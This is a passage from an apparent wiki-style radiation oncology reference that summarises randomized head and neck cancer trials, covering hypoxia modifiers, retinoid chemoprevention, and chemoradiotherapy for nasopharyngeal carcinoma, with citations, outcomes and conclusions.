**'''1989''' {{PMID|2681103}} -- &quot;Mixed neutron/photon irradiation of unresectable squamous cell carcinomas of the head and neck: the final report of a randomized cooperative trial.&quot; (Griffin TW, Int J Radiat Oncol Biol Phys. 1989 Nov;17(5):959-65.). Minimum F/U 6 years
***Outcome: no difference in LRC or OS; LRC subgroup N+ mixed 30% vs. photons 18% (p=0.05), N0 mixed 33% vs. photons 64% (SS); control of disease in LN 45% vs. 26% (SS)
***Conclusion: No difference between neutron/photon vs. photon/electron beam

===Hypoxia===
====''Transfusion''====
*'''DAHANCA 5''' (1986-1990) -- RT +/- nimorazole +/- transfusion
**Randomized. 414 pts w/ pharynx or supraglottic larynx ca. RT median 66 Gy. Randomized: 1) +/- Nimorazole. Pts stratified by low vs normal hgb level (low: males &lt; 9 mmol/L = 14.5 g/dL; females &lt; 8 mmol/L = 12.9 g/dL). Pts with low hgb level underwent 2nd randomization: 2) +/- transfusion (to achieve and sustain normal level, re-checked q2weeks).
**'''1998''' {{PMID|9510041}} -- &quot;A randomized double-blind phase III study of nimorazole as a hypoxic radiosensitizer of primary radiotherapy in supraglottic larynx and pharynx carcinoma. Results of the Danish Head and Neck Cancer Study (DAHANCA) Protocol 5-85.&quot; (Overgaard J, Radiother Oncol. 1998 Feb;46(2):135-46.) -- Median f/u 9 yrs.
***41% of pts had low hgb. 5-yr LRC 46% (high hgb) vs 37% (low). 82 pts randomized to receive transfusion. Only 29/82 transfused pts maintained the goal hgb level. Transfusion did not result in improved LRC (39% transfused vs 35% not transfused). 
***Conclusion: a definite conclusion regarding the effect of transfusion could not be reached and awaits further data from DAHANCA 7.

====''Erythropoietin''====
*'''RTOG 99-03''' (2000-2003) -- RT +/- erythropoieting
**Randomized. ''Closed early due to other data suggesting worse locoregional control.'' 141 patients (40% of goal) with SCCHN, Stage I-IV. RT +/- erythropoietin 40K units/week. If Stage III-IV, concurrent chemo-RT and/or accelerated RT. Pre-RT hemoglobin men &lt;13.5 and women &lt;12.5. 
**'''2007''' {{PMID|17716826}} -- &quot;Radiotherapy With or Without Erythropoietin for Anemic Patients With Head and Neck Cancer: A Randomized Trial of the Radiation Therapy Oncology Group (RTOG 99-03).&quot; (Machtay M, Int J Radiat Oncol Biol Phys. 2007 Nov 15;69(4):1008-17. Epub 2007 Aug 23.). Median F/U 2.5 years
***Outcome: 3-year LRF control 36% vs. Epo 44% (NS). No difference in OS (52% vs. 47%) or toxicity
***Conclusion: Addition of Epo did not improve outcomes

*'''European Multinational''' (1997-2001) -- RT +/- erythropoietin
**Randomized. 351 patients with oral cavity, oropharynx, hypopharynx, larynx. Hemoglobin &lt;13.0 g/dL men, &lt;12.0 g/dL women. RT 60-70 Gy +/- Epo 300 U/kg 3x weekly 
**'''2003''' {{PMID|14575968}} -- &quot;Erythropoietin to treat head and neck cancer patients with anaemia undergoing radiotherapy: randomised, double-blind, placebo-controlled trial&quot; (Henke M, Lancet. 2003 Oct 18;362(9392):1255-60.)
***Hemoglobin: 82% given Epo reached &gt;14.0 (men) or &gt;15 (women) compared with 15% control
***Outcome: LR failure placebo 54% vs. Epo 64% (SS), median PFS 2.0 years vs. 1.1 years (SS); OS 48% vs. 39% (same 34% mortality from cancer but worse cardiac/general mortality for Epo)
***Conclusion: Significantly worse LR control and survival with Epo

====''Nimorazole''====
*'''DAHANCA 5''' (1986-1990) RT +/- nimorazole +/- transfusion
**Randomized. 414 pts w/ pharynx or supraglottic larynx ca. RT median 66 Gy. Randomized: 1) +/- Nimorazole. Pts with low hgb level underwent 2nd randomization: 2) +/- transfusion.
**'''1998''' {{PMID|9510041}} -- &quot;A randomized double-blind phase III study of nimorazole as a hypoxic radiosensitizer of primary radiotherapy in supraglottic larynx and pharynx carcinoma. Results of the Danish Head and Neck Cancer Study (DAHANCA) Protocol 5-85.&quot; (Overgaard J, Radiother Oncol. 1998 Feb;46(2):135-46.) -- Median f/u 9 yrs.
***5-yr LRC 49% (NIM) vs 33% (placebo), cause-specific survival 52% vs 41%, but non-sig. difference in OS. Benefit was seen in all subgroups. NIM sensitizes patients with both high and low hgb.
***Conclusion: improved tumor control with nimorazole

====''Etanidazole''====
*'''RTOG 85-27''' (1988-1991)
**Randomized. 521 pts. Stage III-IV. Randomized to RT 66-74 Gy alone or RT + etanidazole (ETA) 3x/week. 
**'''1995''' {{PMID|7790241}} -- &quot;Results of an RTOG phase III trial (RTOG 85-27) comparing radiotherapy plus etanidazole with radiotherapy alone for locally advanced head and neck carcinomas.&quot; (Lee DJ, Int J Radiat Oncol Biol Phys. 1995 Jun 15;32(3):567-76.)  
***Outcome: 2-year LRC control 40% vs etanidazole 40% (NS); OS 41% vs 43%. For N0-1 patients, advantage for ETA for LRC 55% vs 37% (SS).
***Conclusion: No benefit for etanidazole overall, subset benefit in N0-1 disease

====''Misonidazole''====
*'''RTOG 79-15''' (1979-1983)
**Randomized. 206 patients, 42% oropharynx, 78% T3-T4, 84% N+. Arm 1) RT + placebo vs. Arm 2) RT + misonidazole 2.0 gm/m2 weekly (on day of misonidazole, RT given BID)
**'''1987''' {{PMID|3301758}} -- &quot;Failure of misonidazole-sensitized radiotherapy to impact upon outcome among stage III-IV squamous cancers of the head and neck.&quot; (Fazekas J, Int J Radiat Oncol Biol Phys. 1987 Aug;13(8):1155-60.)
***Outcome: 2-year LR rate placebo 26% vs. misonidazole 22% (NS); 3-year OS 22% in both groups
***Conclusion: No benefit
**'''1989''' {{PMID|2689395}} -- &quot;The role of hemoglobin concentration in the outcome of misonidazole-sensitized radiotherapy of head and neck cancers: based on RTOG trial #79-15.&quot; (Fazekas JT, Int J Radiat Oncol Biol Phys. 1989 Dec;17(6):1177-81.)
***Outcome: No difference
*'''RTOG 79-04''' (1979-1983)
**Randomized. 40 patients, unresectable Stage III-IV oral cavity, oropharynx, hypopharynx. Arm 1) RT 44-52 Gy in 4 Gy/fx vs. Arm 2) same RT + misonidazole 1.5 gm/m2 3x per week
**'''1989''' {{PMID|2646255}} -- &quot;A phase I/II study of the hypoxic cell sensitizer misonidazole as an adjunct to high fractional dose radiotherapy in patients with unresectable squamous cell carcinoma of the head and neck: a RTOG randomized study (#79-04).&quot; (Lee DJ, Int J Radiat Oncol Biol Phys. 1989 Feb;16(2):465-70.)
***Outcome: 2-year LRC: RT alone 10% vs. RT + MISO 17% (NS)
***Toxicity: No difference
***Conclusion: No benefit for misonidazole; high fractional dose RT tolerable

====''Carbogen''==== 
*'''RTOG 70-02''' (1972-1976)
**Randomized. 254 patients. T2-4N0-3, Oral cavity, oropharynx, nasopharynx, hypopharynx, larynx; also esophageal cancers (24%). Arm 1) RT + concurrent carbogen breathing vs. Arm 2) RT + air. RT 60-70 Gy (oral cavity max 80 Gy)
**'''1979''' {{PMID|120869}} - &quot;Carbogen breathing during radiation therapy-the Radiation Therapy Oncology Group Study.&quot; (Rubin P, Int J Radiat Oncol Biol Phys. 1979 Nov-Dec;5(11-12):1963-70.)
***Outcome: 2-year LC carbogen 51% vs. air 51% (NS); no SS difference by site. Median OS carbogen 1.5 years vs. air 1.5 years (NS)
***Toxicity: No significant difference
***Conclusion: No difference

====''Hyperbaric Oxygen''====
*'''Yale''' (1974-1975) -- RT in air vs RT in HBO
**Randomized. 48 patients, locally advanced unresectable SCCHN. Arm 1) RT in air 25.3/2 vs. Arm 2) RT in HBO-4 23/2. HBO given under general anesthesia, 4 atmospheres
**'''1999''' {{PMID|10606475}} -- &quot;Radiation therapy with hyperbaric oxygen at 4 atmospheres pressure in the management of squamous cell carcinoma of the head and neck: results of a randomized clinical trial.&quot; (Haffty BG, Cancer J Sci Am. 1999 Nov-Dec;5(6):341-7.)
***Outcome: CR air 52% vs. HBO 84%, 5-year LC 16% vs. 29%. No difference in OS, DM or second primary tumors
***Severe toxicity: air 28% vs. HBO 52%
***Conclusion: Substantial improvement in response rate with HBO. Hypofractionation scheme suboptimal

===Second Primary Prevention===
*'''Italian Head and Neck Chemoprevention Study Group''' (1992-1996) -- low-dose isotretinoin
**Randomized. 267 patients. Radically treated Stage III-IV HNSCC. Arm 1) placebo vs. Arm 2) isotretinoin 0.5 mg/kg vs. Arm 3) isotretinoin + Interferon alpha-2a (''only 15 patients assigned due to financial problems'') x1 year
**'''2004''' {{PMID|15138569}} &amp;mdash; &quot;13-cis retinoic acid in head and neck cancer chemoprevention: results of a randomized trial from the Italian Head and Neck Chemoprevention Study Group.&quot; (Toma S, Oncol Rep. 2004 Jun;11(6):1297-305.) Mean F/U 3.2 years
***Outcome: 5-year OS isotretinoin 59% vs. placebo 57% (NS); RFS 49% vs. 56% (NS)
***Toxicity: Grade III-IV in 4%, Grade I-II 69%
***Conclusion: Low-dose isotretinoin ineffective at chemoprevention

*'''Retinoid Head and Neck Second Primary Trial (INT/RTOG 91-15)''' (1991-1999) -- low dose isotretinoin
**Randomized. 1190 patients, treated, with Stage I-II HNSCC (oral cavity, larynx, pharynx), disease-free at least 4 months. Arm 1) low-dose isotretinoin (30 mg/day) vs. Arm 2) placebo x3 years
**'''6-years; 2006''' {{PMID|16595780}} -- &quot;Randomized phase III trial of low-dose isotretinoin for prevention of second primary tumors in stage I and II head and neck cancer patients.&quot; (Khuri FR, J Natl Cancer Inst. 2006 Apr 5;98(7):441-50.) Median F/U 6 years
***Outcome: Second primary tumors rate 4.6%/year in both arms (NS); no difference in primary tumor–free survival, RFS, smoking-associated DFS, and OS 
***Predictors: second cancers 261 (22%); current smokers (HR 1.64, SS) more risk than former smokers (HR 1.32, SS) compared with non-smokers. Risk of death current smokers 2.51 vs. former smokers 1.60
***Sites of 2nd tumors: lung (31%), oral cavity (17%), larynx (8%), pharynx (5%)
***Conclusion: Low-dose isotretinoin not effective at reducing second primary tumors 

*'''France''' -- etretinate
**Randomized. 316 patients, SCHNN T1-2N0-1 &lt;=3 cm. Arm 1) etretinate 25 mg/day vs. Arm 2) placebo x2 years
**'''5-years; 1994''' {{PMID|7917535}} -- &quot;Prevention of second primary tumours with etretinate in squamous cell carcinoma of the oral cavity and oropharynx. Results of a multicentric double-blind randomised study.&quot; (Bolla M, Eur J Cancer. 1994;30A(6):767-72.) Median F/U 3.4 years
***Outcome: second primary tumor 18% (NS). No difference on LR or DM rate. 5-year OS and DFS no difference
***Toxicity: discontinued in etretinate 33% vs. placebo 23% (SS)
***Conclusion: Etretinate does not preven second primary tumors

*'''Queensland''' (Australia) -- high-dose or low-dose isotretinoin
**Randomized. ''Trial stopped early by sponsor after early analysis showed no benefit.'' 151 patients. T1-4N0-2 HNSCC. Arm 1) high-dose isotretinoin 1 mg/kg x1 year, then low-dose isotretinoin 0.5 mg/kg x2 years vs. Arm 2) low-dose isotretinoin x3 years vs. Arm 3) placebo x3 years. 67% did not complete therapy (~1/3 in high-dose due to side effects)
**'''2005''' {{PMID|15781758}} -- &quot;Chemoprevention of head and neck cancer with retinoids: a negative result.&quot; (Perry CF, Arch Otolaryngol Head Neck Surg. 2005 Mar;131(3):198-203.)
***Outcome: Second primary cancer high-dose 9% vs. low-dose 17% vs. placebo 14% (NS); no difference in DFS, RFS, or OS
***Toxicity: No difference between groups
***Conclusion: Use of isotretinoin not indicated for prophylaxis

*'''MD Anderson''' -- high-dose isotretinoin
**Randomized. 103 patients, treated Stage I-IV HNSCC. Arm 1) high dose isotretinoin 50-100 mg/m2 vs Arm 2) placebo x1 year.
**'''5-years; 1994''' {{PMID|8271298}} -- &quot;Prevention of second primary tumors with isotretinoin in patients with squamous cell carcinoma of the head and neck: long-term follow-up.&quot; (Benner SE,  J Natl Cancer Inst. 1994 Jan 19;86(2):140-1.) Median F/U 4.5 years
***Outcome: second primary tumors isotretinoin 14% vs. placebo 31% (SS); but impact diminishes with time. By 8 years, estimated rates of 19% vs. 44%. No patients developed second primary tumor while on drug
***Toxicity: 70% required dose reduction, 25% stopped
***No difference in OS.  No impact on behavior of primary tumor.

==[[Radiation_Oncology/Head_%26_Neck/Nasopharynx|Nasopharnynx]]==
===Altered Fractionation===
*'''RTOG 71-03''' (1971-1979)
**Randomized. 121 patients. All Stages. Arm 1) split course RT (30/10, 3 week rest, 30/10) vs. Arm 2) 66/33 or 66/30
**'''1980''' {{PMID|6993442}} -- &quot;Split-course radiation therapy of carcinoma of the nasopharynx: results of a national collaborative clinical trial of the Radiation Therapy Oncology Group.&quot; (Marcial VA, Int J Radiat Oncol Biol Phys. 1980 Apr;6(4):409-14.)
***5-year outcome: LC 86% vs. 80% (NS), LRC 86% vs. 78% (NS), DFS 40% vs. 30% (NS)
***Late toxicity: comparable, except edema worse with continuous RT (42% vs. 24%)
***Conclusion: No difference between fractionation schedules, less social impact with split course

===Concurrent Chemo-RT===
*'''Hong Kong NPC-9902 (T-disease)''' (1999-2004)
**Randomized, 2x2 design. ''Closed early due to slow accrual''. 189 patients, WHO grade II-III, Stage T3-4N0-1 (AJCC-5)(key problem locoregional failure; see companion trial NPC-9901).  Arm 1) conventional RT alone vs. Arm 2) accelerated RT vs. Arm 3) conventional RT + concurrent chemo vs. Arm 4) accelerated RT + concurrent chemo. Conventional RT &gt;=66 in 2 Gy/fx, 5 days/week. Accelerated same regimen but 6 days/week. Technique 2D or 3D-CRT or IMRT boost. Concurrent chemo cisplatin 100 mg/m2 q3 weeks, adjuvant chemo cisplatin 80 mg/m2 + 5-FU 1000 mg/m2
**'''3-years; 2006''' {{PMID|16904519}} -- &quot;Preliminary results of a randomized study (NPC-9902 Trial) on therapeutic gain by concurrent chemotherapy and/or accelerated fractionation for locally advanced nasopharyngeal carcinoma.&quot; (Lee AW, Int J Radiat Oncol Biol Phys. 2006 Sep 1;66(1):142-51.). Median F/U 2.9 years
***Outcome: 3-year FFS RT 70%, AFRT 63%, chemo-RT 74%, chemo-AFRT 94% (SS). On multivariate analysis, concurrent chemo significant, accelerated RT not significant. OS 83%, 73%, 87%, 88% (NS)
***Toxicity Grade 3-5: Acute: RT 55%, AFRT 70%, chemo-RT 83%, chemo-AFRT 86% (concurrent chemo SS worse). Late: 17%, 21%, 27%, 32% (chemo-AFRT borderline p=0.05 worse). Most late toxicity otologic.
***Conclusion: Preliminary, concurrent chemo with accelerated fractionation could significantly improve local tumor control

*'''Hong Kong NPC-9901 (N-disease)''' (1999-2004) 
**Randomized. 348 patients, WHO grade II-III, T1-4N2-N3 (AJCC-5)(key problem distant failure; see companion trial NPC-9902). Arm 1) RT alone vs. Arm 2) RT + concurrent cisplatin 100 mg/m2 q3 weeks. RT &gt;= 66 Gy (2D, 3D-CRT or IMRT)
**'''3-years; 2005''' {{PMID|16192584}} -- &quot;Preliminary results of a randomized study on therapeutic gain by concurrent chemotherapy for regionally-advanced nasopharyngeal carcinoma: NPC-9901 Trial by the Hong Kong Nasopharyngeal Cancer Study Group.&quot; (Lee AW, J Clin Oncol. 2005 Oct 1;23(28):6966-75.) Median F/U 2.3 years
***Outcome: DFS chemo-RT 72% vs. RT alone 62% (SS), LRC 92% vs. 82% (SS), DM 76% vs. 73% (NS), OS 78% vs. 78% (NS)
***Toxicity: acute chemo-RT 84% vs. RT alone 53% (SS); late 28% vs. 13% (SS), most late toxicity otologic
***Conclusion: Preliminary, significant benefit for tumor control at the cost of higher toxicity. No early OS benefit

*'''Singapore SQNP01''' (1997-2003)
**Randomized. 221 patients, WHO II-III, T3-4 or N2-3 (AJCC-5). Arm 1) RT alone vs. Arm 2) RT + concurrent cisplatin 100 mg/m2 q3 weeks + adjuvant cisplatin 80 mg/m2 + 5-FU 1000 mg/m2 x3 cycles. RT technique 70 Gy primary, 60 Gy neck + 10 Gy electron boost to lymph nodes. 71% patients received all 3 cycles of concurrent chemo
**'''3-years; 2005''' {{PMID|16170180}} -- &quot;Randomized trial of radiotherapy versus concurrent chemoradiotherapy followed by adjuvant chemotherapy in patients with American Joint Committee on Cancer/International Union against cancer stage III and IV nasopharyngeal cancer of the endemic variety.&quot; (Wee J, J Clin Oncol. 2005 Sep 20;23(27):6730-8.) Median F/U 3.2 years
***Outcome: 3-year DFS chemo-RT 72% vs. RT 53% (SS); OS 80% vs. 65% (SS); 2-year DM chemo-RT 13% vs. RT alone 30% (SS)
***Toxicity: Grade 3-5 in 48%, mucositis chemo-RT 48% vs. RT 32% (SS), anorexia 22% vs. 4% (SS), emesis 5% vs. 0% (SS). Also significant hematologic toxicity
***Conclusion: Confirmation of INT 0099 results; also applicable in endemic NPC

*'''Queen Mary Hospital,''' Hong Kong (1995-2001)
**Randomized, 2x2 design (concurrent chemo vs. none, adjuvant chemo vs. none). Ho's Stage T3 or N2-3 or LN &gt;=4 cm (AJCC 6th II-IV). Arm 1) RT alone vs. Arm 2) concurrent chemo-RT vs. Arm 3) RT + adjuvant chemo vs. Arm 4) concurrent chemo-RT + adjuvant RT. Concurrent chemo was FU prodrug uracil/tegafur, adjuvant chemo was cisplatin/5-FU and vincristine/bleomycin/MTX x3+3 cycles. RT 1995-1997 62.5/25 split course with 1 week break; 1997-2001 68/34 primary and 66/33 neck. If parapharyngeal extension or residual disease, 10 Gy boost
**'''3-years; 2004''' {{PMID|15226332}} -- &quot;Concurrent and adjuvant chemotherapy for nasopharyngeal carcinoma: a factorial study.&quot; (Kwong DL, J Clin Oncol. 2004 Jul 1;22(13):2643-53.)
***Outcome: 3-year concurrent CRT vs. RT alone FFS 69% vs. 58% (NS), OS 86% vs. 77% (p=0.06), LRC 80% vs. 72% (NS), DM 15% vs. 29% (SS). 3-year adjuvant chemo vs. none FFS 62% vs. 65% (NS), OS 80% vs. 83% (NS), no difference on LRC or DM.
***Conclusion: Trend to improvement with concurrent chemo-RT over RT alone (p=0.06), no benefit to adjuvant chemo

*'''Prince of Wales Hospital / Queen Elizabeth Hospital,''' Hong Kong (1994-1999)
**Randomized. 350 patients, Ho's Stage N2-3 or N1 with LN &gt;=4 cm (AJCC-6 Stage II-IVB). Arm 1) RT with concurrent cisplatin 40 mg/m2 q week vs. Arm 2) RT alone. RT 66 Gy, parapharyngeal boost 10-20 Gy allowed. Primary end point PFS
**'''2-years; 2002''' {{PMID|11956263}} -- &quot;Concurrent chemotherapy-radiotherapy compared with radiotherapy alone in locoregionally advanced nasopharyngeal carcinoma: progression-free survival analysis of a phase III randomized trial.&quot; (Chan AT, J Clin Oncol. 2002 Apr 15;20(8):2038-44.) Median F/U 2.7 years
***Outcome: 2-year PFS chemo-RT 76% vs. RT alone 69% (NS). Subgroup analysis benefit for Ho's T3
***Conclusion: Concurrent chemo-RT well tolerated, but no benefit
**'''5-years; 2005''' {{PMID|15812080}} -- &quot;Overall survival after concurrent cisplatin-radiotherapy compared with radiotherapy alone in locoregionally advanced nasopharyngeal carcinoma.&quot; (Chan AT, J Natl Cancer Inst. 2005 Apr 6;97(7):536-9.) Median F/U 5.5 years
***Outcome: 5-year OS chemo-RT 70% vs. RT 59% (p=0.07). Subgroup analysis no benefit for T1-2, but benefit for T3-4 (HR 0.51)
***Conclusion: Trend for survival benefit; promising treatment strategy

*'''Taiwan''' (1993-1999)
**Randomized. 284 patients, NPC Stage III-IV M0, histology WHO I (3%), WHO II (73%), WHO III (24%). Arm 1) RT 70-74 Gy alone vs. Arm 2) concurrent cisplatin 20 mg/m2 + 5-FU 400 mg/m2 during week 1 and 5. RT: CTV = GTV+2cm, included entire base of skull, sphenoid sinus, 2cm beyond mastoid process, posterior half of maxillary sinus/nasal cavity. Dose 70-74 Gy primary tumor and LN+, 50-60 Gy N0 neck. Chemo completed by 94% patients
**'''5-years; 2003''' {{PMID|12586799}} -- &quot;Phase III study of concurrent chemoradiotherapy versus radiotherapy alone for advanced nasopharyngeal carcinoma: positive effect on overall and progression-free survival.&quot; (Lin JC, J Clin Oncol. 2003 Feb 15;21(4):631-7.). Median F/U 5.4 years
***5-year outcome: PFS RT alone 53% vs. chemo-RT 72% (SS); OS 54% vs. 72% (SS)
***Toxicity Grade 3-4: mucositis 35% vs. 45%, skin 26% vs. 35%
***Conclusion: Concurrent chemo-RT superior to RT alone for advanced NPC
**'''Re-analysis; 2004''' {{PMID|15337551}} -- &quot;Another way to estimate outcome of advanced nasopharyngeal carcinoma--is concurrent chemoradiotherapy adequate?&quot; (Lin JC, Int J Radiat Oncol Biol Phys. 2004 Sep 1;60(1):156-64.)
***Original (AJCC 1992) stage: Stage III 20%, Stage IV 80%. Restaged (AJCC 1997): Stage II/III 71%, Stage IV 29%. New risk definition: high-risk (LN &gt;6cm or SCV LN or AJCC 1992 T4N2 or multiple LN mets with 1 LN &gt;4cm) 42% vs. low-risk 58%
***Low-risk group (chemo-RT vs. RT): LC 95% vs. 77% (SS), neck control 100% vs. 96% (NS), DM 90% vs. 78% (SS), PFS 87% vs. 61% (SS), OS 83% vs. 60% (SS). Chemo-RT significantly better
***High-risk group (chemo-RT vs. RT): LC 75% vs. 68% (NS), neck control 92% vs. 87% (NS), DM 60% vs. 60% (NS), PFS 44% vs. 43% (NS), OS 56% vs. 46% (NS). No difference with concurrent chemo
***Conclusion: Concurrent chemo-RT superior for low-risk patients, but inadequate for high-risk patients

*'''Intergroup 0099 / RTOG 88-17''' (1989-1995)
**Randomized. ''Trial stopped early due to significant survival benefit.'' 147 patients. NPC Stage III-IV (Stage IV 91%; but also included few N1 patients, which are IIB today), histology WHO I (25%), WHO II (35%), WHO III (41%). Arm 1) RT 70 Gy alone vs RT 70 Gy with concurrent cisplatin 100 mg/m2 q3 weeks and adjuvant cisplatin + 5-Fu . CT-based treatment planning. Fields: included 2 cm margin on gross disease and included entire base of skull and sphenoid sinus, 2 cm posterior to mastoid process; anteriorly included posterior 1/3 of maxillary sinus and nasal cavity. Dose: 70 Gy to primary. For neck to clavicle, 50 Gy for N0 disease, 66 Gy for nodes &lt;= 2 cm, and 70 Gy for nodes &gt; 2 cm. Cisplatin given every 3 weeks at 100 mg/m2 x 3 cycles. Then adjuvant chemo began 4 weeks after finishing RT: cisplatin 80 mg/m2 and 5-FU 1000 mg/m2/d by 96-hr infusion q4w x 3 cycles. Partial or radical neck dissections for persistent neck disease. Chemo completed by 55% 
**'''1998''' {{PMID|9552031}} - &quot;Chemoradiotherapy versus radiotherapy in patients with advanced nasopharyngeal cancer: phase III randomized Intergroup study 0099.&quot; Al-Sarraf et al. J Clin Oncol. 1998 Apr;16(4):1310-7. Median F/U 2.7 years
***3-year outcome: PFS chemo-RT 69% vs. RT alone 24% (SS); OS 78% vs 47% (SS). Median OS not reached for chemo-RT vs. 2.5 years for RT alone. 
***Toxicity Grade 3-4: stomatitis 29% vs. 19%, nausea 14% vs. 5%, leukopenia 23% vs. 1%
***Conclusion: Concurrent chemo-RT superior to RT alone for advanced NPC
**Comment: First randomized trial to show a survival benefit for the use of concurrent chemo, unexpectedly low RT alone outcome (several retrospective series showed &gt;70% OS with RT alone in endemic patients), RT technique considered less aggressive than that practiced in Asia (particularly lack of parapharyngeal and intracavitary boost), not applicable to non-US patients

===Concurrent RT + biologics===
*'''Beijing Hospital, China''' (2001-2003) -- RT +/- recombinant adenovirus-p53
**Randomized. 82 patients with NPC. Arm 1) RT 70/35 alone vs. Arm 2) RT + recombinant adenovirus-p53 (rAd-p53) injected intratumorally QW x8
**'''2008''' {{PMID|19103729}} -- &quot;Effect of Recombinant Adenovirus-p53 Combined With Radiotherapy on Long-Term Prognosis of Advanced Nasopharyngeal Carcinoma.&quot; (Pan JJ, J Clin Oncol. 2008 Dec 22. [Epub ahead of print]) Median F/U 5.1 years
***Outcome: p53 mRNA detected in 94% postinjection biopsies, with upregulation of p21 and Bax. 5-year LRF RT 28% vs RT + rAd-p53 3% (SS); 5-year DFS 57% vs. 67% (NS); 5-year OS 59% vs. 67% (NS)
***Toxicity: Transient fever after rAd-p53 administration
***Conclusion: rAd-p53 was safe and biologically active, and improves tumor control and survival rate

===Induction chemo-RT vs. RT alone===
*'''Pooled long-term AOCOA/Guangzhou data''' (1989-1994)
**Pooled data from 2 similar PIII trials comparing induction chemo-RT vs. RT alone. 784 patients. Induction cisplatin, bleomycin, 5-FU or cisplatin, epirubicin. RT 70 Gy. Median F/U 5.6 years
**'''5-years; 2005''' {{PMID|15657403}} -- &quot;Long-term survival after cisplatin-based induction chemotherapy and radiotherapy for nasopharyngeal carcinoma: a pooled data analysis of two phase III trials.&quot; (Chua DT, J Clin Oncol. 2005 Feb 20;23(6):1118-24.)
***Outcome: 5-year DFS induction chemo 63% vs. RT 58% (SS), OS 62% vs. 58% (NS). LRF decreased by 18%, DM decreased by 13%, but no significant difference in failure patterns
***Conclusion: Induction chemo-RT modest decrease in DFS, but no impact on OS. Concurrent chemo-RT should remain standard of care

*'''Guangzhou''' (1993-1994) - cisplatin, 5-FU, bleomycin
**Randomized. 456 patients. Chinese stage III-IV M0. Arm 1) RT alone vs. Arm 2) Neoadjuvant cisplatin 100 mg/m2, bleomycin 10 mg/m2, and 5-FU 800 mg/m2 x2-3 cycles, followed by RT within 2 weeks. RT 68-72 Gy primary tumor, involved neck 60-62 Gy, uninvolved neck 60 Gy. If residual tumor after RT, could boost 10-14 Gy EBRT or 20-24 Gy HDR in 4-5 fractions
**'''5-years; 2001''' {{PMID|11230478}} -- &quot;Results of a prospective randomized trial comparing neoadjuvant chemotherapy plus radiotherapy with radiotherapy alone in patients with locoregionally advanced nasopharyngeal carcinoma.&quot; (Ma J, J Clin Oncol. 2001 Mar 1;19(5):1350-7.)
***Outcome: 5-year OS induction chemo 63% vs. RT alone 56% (NS); RFS 59% vs. 49% (SS); LRC 82% vs. 74% (p=0.05); no difference on DM
***Conclusion: No survival benefit for induction chemotherapy

*'''Hokkaido RTOG''' (1991-1998) -- cisplatin, 5-FU
**Randomized. 80 patients. Stage I-IV M0. Arm 1) RT alone vs. Arm 2) Neoadjuvant cisplatin 80 mg/m2, 5-FU 800 mg/m2 q3 weeks x2 cycles. RT 66-68 Gy to primary tumor and LN+, 50 Gy to negative LNs
**'''5-years; 2002''' {{PMID|12001120}} -- &quot;A prospective, randomized trial comparing neoadjuvant chemotherapy with radiotherapy alone in patients with advanced nasopharyngeal carcinoma.&quot; (Hareyama M, Cancer. 2002 Apr 15;94(8):2217-23.). Median F/U 4.1 years
***Outcome: 5-year OS induction chemo 60% vs. RT alone 48% (NS); DFS 55% vs. 43% (NS). No difference in LRC; most patients experienced LR failure before DM failure
***Conclusion: Neoadjuvant chemo didn't improve DFS or OS

*'''Asian-Oceanic Clinical Oncology Association (AOCOA)''' (1989-1993) --  cisplatin, epirubicin
**Randomized. 286 patients. Ho's staging T3 or N2-N3 disease or LN+ &gt;= 3cm. Arm 1) neoadjuvant cisplatin 60 mg/m2 + epirubicin 110 mg/m2 x2-3 cycles followed by RT vs. Arm 2) RT alone. RT dose 66-74 Gy (median 71 Gy) to primary tumor, 60-76 Gy (median 66 Gy) to neck.
**'''3-years; 1998''' {{PMID|9840526}} -- &quot;Preliminary report of the Asian-Oceanian Clinical Oncology Association randomized trial comparing cisplatin and epirubicin followed by radiotherapy versus radiotherapy alone in the treatment of patients with locoregionally advanced nasopharyngeal carcinoma. Asian-Oceanian Clinical Oncology Association Nasopharynx Cancer Study Group.&quot; (Chua DT, Cancer. 1998 Dec 1;83(11):2270-83.). Median F/U 2.5 years
***Outcome: 3-year RFS induction chemo 48% vs. RT 42% (NS); OS 78% vs. 71% (NS)
***Conclusion: No benefit for induction chemo

*'''International Nasopharynx Cancer Study Group: VUMCA I''' (1989-1993) -- cisplatin, epirubicin, bleomycin
**Randomized. 339 patients. Undifferentiated carcinoma (WHO 2 or 3), any T stage, N2-3, M0. Arm 1) RT 70 Gy alone vs. Arm 2) induction [[Radiation_Oncology/Chemotherapy_combinations|BEC]] (bleomycin, epirubicin, cisplatinum) q3 weeks x 3 cycles followed by RT.
**'''1996''' {{PMID|8655368}} &amp;mdash; &quot;Preliminary results of a randomized trial comparing neoadjuvant chemotherapy (cisplatin, epirubicin, bleomycin) plus radiotherapy vs. radiotherapy alone in stage IV(&gt; or = N2, M0) undifferentiated nasopharyngeal carcinoma: a positive effect on progression-free survival.&quot; (No Authors, Int J Radiat Oncol Biol Phys. 1996 Jun 1;35(3):463-9.) Median F/U 4.1 years
***Toxicity: treatment-related deaths RT alone 1% vs chemo-&gt;RT 8%
***Outcome: 2-year DFS RT alone 40% vs. chemo-&gt;RT 60% (per graph), no difference in LRC. No difference in OS.
***Conclusion: BEC chemotherapy improves DFS, no impact on OS

*'''Hong Kong''' (1988-1991) -- cisplatin, 5-FU
**Randomized. 82 patients. Ho's classification N3 or LN+ &gt;4 cm. Arm 1) Neoadjuvant cisplatin 100 mg/m2 + 5-FU 1000 mg/m2, 4 weeks later RT 66 Gy with lower neck to 58 Gy, then 4 cycles of adjuvant chemo vs. Arm 2) RT alone. Could boost residual disease after RT to 18-24 Gy in 3 fractions with Ir-192 HDR
**'''2-years; 1995''' {{PMID|7558945}} &amp;mdash; &quot;A prospective randomized study of chemotherapy adjunctive to definitive radiotherapy in advanced nasopharyngeal carcinoma.&quot; (Chan AT, Int J Radiat Oncol Biol Phys. 1995 Oct 15;33(3):569-77.) Median F/U 2.4 years
***Outcome: 2-year DFS chemo-RT 68% vs. RT alone 72% (NS); OS 80% vs. 80% (NS); no difference in LRC, DM, or time-to-relapse
***Conclusion: No benefit for sequential chemo-RT

===Adjuvant chemo after RT===
*'''Hong Kong''' (1995-2001)
